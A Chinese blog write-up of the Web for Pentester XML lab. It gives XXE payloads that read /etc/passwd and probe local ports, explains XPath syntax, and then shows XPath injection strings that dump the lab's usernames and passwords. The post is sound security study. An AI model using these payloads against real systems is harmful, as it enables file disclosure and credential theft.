zoukankan      html  css  js  c++  java
  • web_for_pentester xml

    第一关

    代码很简单就是通过xml参数传入数据,然后由simplexml_load_string()函数解析执行

    simplexml_load_string()就是将xml字符串载入到对象中,如果失败就返回false

    读取文件

    <!DOCTYPE test[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><div>%26xxe;</div>

    根据响应时长判断是否打开端口

    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><div>%26xxe;</div>

    在php代码中如果libxml_disable_entity_Loader(false;)如果是false就允许外部实体的加载,为true就不允许外部实体的加载

    第二关

    先介绍下XPath

    XPath是一门在xml文档中查找信息的语言。XPath可用来在XML文档中对元素和属性进行遍历。XPath是W3C XSLT标准的主要元素,并且XQuery和XPointer都构建与XPath表达之上。

    路径表达式

    结果

    bookstore

    选取bookstore元素的所有子节点

    /bookstore

    选取根元素bookstore

    bookstore/book

    选取属于bookstore的子元素中的所有book元素

    //book

    选取所有book子元素,而不管他在文档中的位置

    bookstore//book

    选取属于bookstore元素的后代的所有book元素,而不管它位于bookstore之下的什么位置

    //@lang

    选取名为lang的所有属性

    注释:

    / 表示从xml文件中的根节点开始解析

    //表示在xml文件中匹配已经选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,以下是几个例子

    ancestor  选取当前节点的所有先辈(父、祖父等)

    ancestor-or-self   选取当前节点的所有先辈(父、祖父等)以及当前节点本身

    attribute  选取当前节点的所有属性

    descendant选取当前节点的所有后代元素(子、孙等)

    descendant-or-self  选取当前的所有后代元素(子、孙等)以及当前节点本身

    following  选取文档中当前节点的结束标签之后的所有节点

    namespace选取当前节点的所有命名空间节点

    parent选取当前节点的父节点

    了解了轴,在了解下步

    child::book  选取所有属于当前节点的子元素的book节点

    attribute::lang  选取当前节点的lang属性

    child::*   选取当前节点的所有子元素

    attribute::*   选取当前节点的所有属性

    child::text()   选取当前节点的所有文本子节点

    child::node()  选取当前节点的所有子节点

    descendant::book  选取当前节点的所有book后代

    ancestor::book   选择当前节点的所有book先辈

    ancestor-or-self::book  选取当前节点的所有book先辈以及当前节点(如果此节点是book节点)

    child::*/child::price  选取当前节点的所有price孙节点

    了解之后开始尝试构造,首先是确定闭合,然乎注释掉后面没用的

    hacker']%00   页面回显正确

    如果我们想要获取当前所有相同节点的值,构造永真语句如下

    hacker' or 1=1]%00

    页面回显

    hackeradmin

    尝试查询当前节点的子节点

    hacker' or 1=1]/child::node()%00

    页面回显

    hackeradmin

    尝试查询当前节点的兄弟节点,通过查询当前节点父节点的所欲子节点来实现

    hacker' or 1=1]/parent::*/child::node()%00

    页面回显

    hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd 查询到当前节点兄弟节点的所有数据。

    上面的回显中,猜测其中一个节点看起来应该是密码,用下面的方法验证一下

    hacker' or 1=1]/parent::*/password%00

    页面回显

    pentesterlabs3cr3tP4ssw0rd 可以看到确实就是密码,结合上一个查询的回显可知道密码分别是`pentesterlab`和`3cr3tP4ssw0rd`

    通过xml靶场的训练,发现自己对于xml还是不熟悉,而且发现xml主要的威胁在于能够读取重要的文件还有就是能够探测端口,对于远程命令执行这个条件还是比较苛刻的。

    参考文章https://www.freebuf.com/sectool/169122.html

  • 相关阅读:
    第 1 章 第 11 题 图纸传递问题
    第 1 章 第 10 题 主键查找问题 哈希表实现
    第 1 章 第 9 题 使用未初始化数组问题 设立辅助数组实现
    第 1 章 第 8 题 分批排序问题( 扩展 ) 位向量实现
    第 1 章 第 7 题 位向量中的异常处理问题
    JAVA实现多线程处理批量发送短信、APP推送
    转载的一些面试题
    使用Flexible实现手淘H5页面的终端适配
    2016前端代码总结
    移动前端的一些坑和解决方法(外观表现)
  • 原文地址:https://www.cnblogs.com/zhao-yang/p/13793261.html
Copyright © 2011-2022 走看看